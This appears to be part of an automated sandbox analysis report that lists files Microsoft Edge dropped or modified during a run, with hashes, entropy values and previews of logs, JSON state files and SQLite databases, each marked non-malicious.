MD5:	0A00B0F15F80CA6610D47D096A94BD08
SHA1:	A0FF882ECA52A634EA600C9CC4F75A81E78ADD44
SHA-256:	F52E3D1C2B39627B44617EF62D31664DEF6774630A18E441FF8EA626CC50AE62
SHA-512:	4CEC3653475220C5EBB29817502689DB5C8E47DDA3A22743C23B2FCFD01AC9B02D58DAB192250FC04E1CF17BF351ED066ABC3EDC12280FA27C440D16982A7703
Malicious:	false
Preview:	2024/11/27-12:32:54.886 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-12:32:54.886 168c Recovering log #3.2024/11/27-12:32:54.887 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.247891621056181
Encrypted:	false
SSDEEP:	6:HC5dLhcM+q2PcNwi23oH+Tcwt865IFUt8YC5dLhJZmw+YC5dL83cMVkwOcNwi23b:8LhcM+vLZYeb/WFUt8BLhJ/+BLmcMV5G
MD5:	0A00B0F15F80CA6610D47D096A94BD08
SHA1:	A0FF882ECA52A634EA600C9CC4F75A81E78ADD44
SHA-256:	F52E3D1C2B39627B44617EF62D31664DEF6774630A18E441FF8EA626CC50AE62
SHA-512:	4CEC3653475220C5EBB29817502689DB5C8E47DDA3A22743C23B2FCFD01AC9B02D58DAB192250FC04E1CF17BF351ED066ABC3EDC12280FA27C440D16982A7703
Malicious:	false
Preview:	2024/11/27-12:32:54.886 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-12:32:54.886 168c Recovering log #3.2024/11/27-12:32:54.887 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.180814182774965
Encrypted:	false
SSDEEP:	6:HC54JFlL+q2PcNwi23oH+Tcwt8NIFUt8YC5TKWZmw+YC5FLVkwOcNwi23oH+TcwY:9JFlL+vLZYebpFUt8aW/+BLV54ZYebqJ
MD5:	96D13AC5948E3D262FD169EDD535596B
SHA1:	D2E36C2216BD8EB8984E465A948B45F73651C211
SHA-256:	5900C3722ED72456C45B2B47C3F21A1F4424236E2A67718473FF1AF159397BF8
SHA-512:	6655A2EE959365BA59682B321927F83F638246310C555B8BD1D8C0CE2EC1D173EF4256BCBE4D74089D6DA9E31C403917B584EA731E45E8A0A5C8423B1416D82B
Malicious:	false
Preview:	2024/11/27-12:32:55.696 10ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-12:32:55.707 10ec Recovering log #3.2024/11/27-12:32:55.707 10ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.180814182774965
Encrypted:	false
SSDEEP:	6:HC54JFlL+q2PcNwi23oH+Tcwt8NIFUt8YC5TKWZmw+YC5FLVkwOcNwi23oH+TcwY:9JFlL+vLZYebpFUt8aW/+BLV54ZYebqJ
MD5:	96D13AC5948E3D262FD169EDD535596B
SHA1:	D2E36C2216BD8EB8984E465A948B45F73651C211
SHA-256:	5900C3722ED72456C45B2B47C3F21A1F4424236E2A67718473FF1AF159397BF8
SHA-512:	6655A2EE959365BA59682B321927F83F638246310C555B8BD1D8C0CE2EC1D173EF4256BCBE4D74089D6DA9E31C403917B584EA731E45E8A0A5C8423B1416D82B
Malicious:	false
Preview:	2024/11/27-12:32:55.696 10ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-12:32:55.707 10ec Recovering log #3.2024/11/27-12:32:55.707 10ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21743767966311622
Encrypted:	false
SSDEEP:	3:6/DvtFlljq7A/mhWJFuQ3yy7IOWUOtn4dweytllrE9SFcTp4AGbNCV9RUIzJ:6/I75fOkt4d0Xi99pEYhJ
MD5:	63034DE1D0D0899356204258011490FF
SHA1:	2E6EF33CBE39D2EFBFD5B983D149DE4369500755
SHA-256:	F7684EC1E02494267431FE674B8458170F8891D0F55556AED36E30F720437475
SHA-512:	1D329C97E25D7B78F2BEA454D9E0893CCB77502958E9FD8A2A59A0D3A71203F6BE98032770705A25E08A27CA7A3F91A3DCAC174ABC9DAA9D28ECB1E7127F5EB9
Malicious:	false
Preview:	.............ml,...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.239343915456615
Encrypted:	false
SSDEEP:	12:w2L+vLZYeb8rcHEZrELFUt8p0W/+pPLV54ZYeb8rcHEZrEZSJ:/YlYeb8nZrExg8+1DoYeb8nZrEZe
MD5:	820F35029BEC32F2B2B572F8B0C70E2F
SHA1:	1149C9E73FEFFF04C372C8DAE99BA71CF16394B9
SHA-256:	C999A3792E2E28A10EC185C49D45D667C9AD024B2997033113F6BC82DA2A760B
SHA-512:	380D87D25A79C76B29A96877A396FA8132AFDEB700A88D53FFE9065D53A63C0BD74986C0B8986F9D7FA55377B0CFBCAEAEEEB7EAFE1EA080F1CC22C46B1C8EA8
Malicious:	false
Preview:	2024/11/27-12:33:00.297 10ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-12:33:00.298 10ec Recovering log #3.2024/11/27-12:33:00.298 10ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.239343915456615
Encrypted:	false
SSDEEP:	12:w2L+vLZYeb8rcHEZrELFUt8p0W/+pPLV54ZYeb8rcHEZrEZSJ:/YlYeb8nZrExg8+1DoYeb8nZrEZe
MD5:	820F35029BEC32F2B2B572F8B0C70E2F
SHA1:	1149C9E73FEFFF04C372C8DAE99BA71CF16394B9
SHA-256:	C999A3792E2E28A10EC185C49D45D667C9AD024B2997033113F6BC82DA2A760B
SHA-512:	380D87D25A79C76B29A96877A396FA8132AFDEB700A88D53FFE9065D53A63C0BD74986C0B8986F9D7FA55377B0CFBCAEAEEEB7EAFE1EA080F1CC22C46B1C8EA8
Malicious:	false
Preview:	2024/11/27-12:33:00.297 10ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-12:33:00.298 10ec Recovering log #3.2024/11/27-12:33:00.298 10ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.6826805529803135
Encrypted:	false
SSDEEP:	24:tsZWNECSY7vX43klrvkXZygW2sFV0374fMyKW9UlH+lU32BkTN5zgFHHmi28/V:tsZ4ECSY7vI6kXZy/2iV0374EyK8dU3s
MD5:	5AE283C1353BA5C9070AECE13B0D6A24
SHA1:	44F39F06E89FB2CAF5BCC9F6B875B2FD705B354B
SHA-256:	BFF73CD47E4EAED5B6E857A19F19FB6CE1A943AE2451204C8DC7058D54DBB341
SHA-512:	460D37BEC66FA4937E61ACB228A7E99F55153DB92CEC1700FE1B7ADD402BD6F2E24FE1C1D0E3BDEC28275B6B2567611FA0DADD224977D060618058A285FB016F
Malicious:	false
Preview:	...................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732728793436.._https://ntp.msn.com..MUID!.1E3415CF46DC6CBF03A7008B47566DA7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732728793535,"schedule":[-1,-1,11,38,-1,-1,22],"scheduleFixed":[-1,-1,11,38,-1,-1,22],"simpleSchedule":[34,40,37,32,23,18,30]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732728793378.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 27 2024 12:33:12 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest...$................META:https://ntp.msn.com..............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.213030995451017
Encrypted:	false
SSDEEP:	6:HC5wD+q2PcNwi23oH+Tcwt8a2jMGIFUt8YC5wFZmw+YC5duiVkwOcNwi23oH+TcL:favLZYeb8EFUt8sF/+pD54ZYeb8bJ
MD5:	A5E6C590F7EAAAE0C6EE3FB564EA765F
SHA1:	F3BC6E67A7F81A4B77EB3BCE6EF5A9183EB26B76
SHA-256:	7E1695410034DB33266363BC1CE31E37C35BE57BB4D04E21C784706D37F7626A
SHA-512:	CF469FA36CC8710013ED53FC5973F95E657E85D00A40E7A03063CCA77309025A3FC05F320EE8CBDA66004C1455B4316D4F82A4A142A679DC9CB27194DD929310
Malicious:	false
Preview:	2024/11/27-12:32:55.374 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-12:32:55.376 1f38 Recovering log #3.2024/11/27-12:32:55.380 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.213030995451017
Encrypted:	false
SSDEEP:	6:HC5wD+q2PcNwi23oH+Tcwt8a2jMGIFUt8YC5wFZmw+YC5duiVkwOcNwi23oH+TcL:favLZYeb8EFUt8sF/+pD54ZYeb8bJ
MD5:	A5E6C590F7EAAAE0C6EE3FB564EA765F
SHA1:	F3BC6E67A7F81A4B77EB3BCE6EF5A9183EB26B76
SHA-256:	7E1695410034DB33266363BC1CE31E37C35BE57BB4D04E21C784706D37F7626A
SHA-512:	CF469FA36CC8710013ED53FC5973F95E657E85D00A40E7A03063CCA77309025A3FC05F320EE8CBDA66004C1455B4316D4F82A4A142A679DC9CB27194DD929310
Malicious:	false
Preview:	2024/11/27-12:32:55.374 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-12:32:55.376 1f38 Recovering log #3.2024/11/27-12:32:55.380 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0fcd231f-7319-4220-a091-2a3d1dec7a72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.309687577779176
Encrypted:	false
SSDEEP:	48:YcCpfgCzsdtsx4fc7aleeBkEsF1CgH6YhbyD0:F2fS92akeBkx1Tfhn
MD5:	12A9FEB1C24A3B2A271CB7829D5B06F2
SHA1:	ED93BA2A1B57A58AAED76603D7B9BC0E929AD1A5
SHA-256:	60E9F6154C2755D468F2F808C3131463401A7876138D8BF4BC03D5985C42062D
SHA-512:	3C4F50257CFF584A78CEE08724D577972D3B73A3B9334A1893462C0F11BA247A92700860292BFE6405A1380C32C645FD51C50865D98463640B37B4BD1DB384AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379794379647453","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379794382548067","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16cb726f-033d-406e-a522-1beddbf7676f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\378c0ae6-6fee-4cad-8e25-30ad5ffb1b34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\41871895-7af0-4bc6-b3e5-884b38cc6fe9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4d67ed28-b2a7-4985-a2a5-f762f42d9f14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7765041807482636
Encrypted:	false
SSDEEP:	192:tTfUbQGX77mZ6WKwNLqfO21PXcf0L/ZJVb:VfamkWKwgfnXI0LhJVb
MD5:	5F624FF4035CB45E39011B2BD1126E38
SHA1:	45C636722B40C0F8AADE238749E510A8EC55C970
SHA-256:	52247A1CF848F4E57DD30D74334A0FA91BD579B52F7ABACA0954E83DDA93BC43
SHA-512:	6AFC313EB4C955D0D69BBA5A559A3A9074211D4D3BFBBE1BD625E968F9E6BE7A5F3C4DF58C68D09FAB41B58670E0B2959FF48D877E9A03FAF54DD1336CB0520F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF37168.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3788359068057112
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvSUQaDHlGFh5heJBw1a:+IEumQv8m1ccnvSrqKhe/r
MD5:	07F9281DE72492342C9417060EABD7EB
SHA1:	39893FD9BCD12597DD4D28E40A8C244066150185
SHA-256:	A2C489B5A82506F05D30B9602FB3AB136796E564E843D8EA01FB2B5AF526CB9A
SHA-512:	9281CC6DCC1BF14EF0242FD3F4DCB70FB3DBB04DB50A3939D470D43B113BCFE93DF604CFEE0A1392150B5F672A09E25641944686DA80D0EF8D2119848D62C081
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

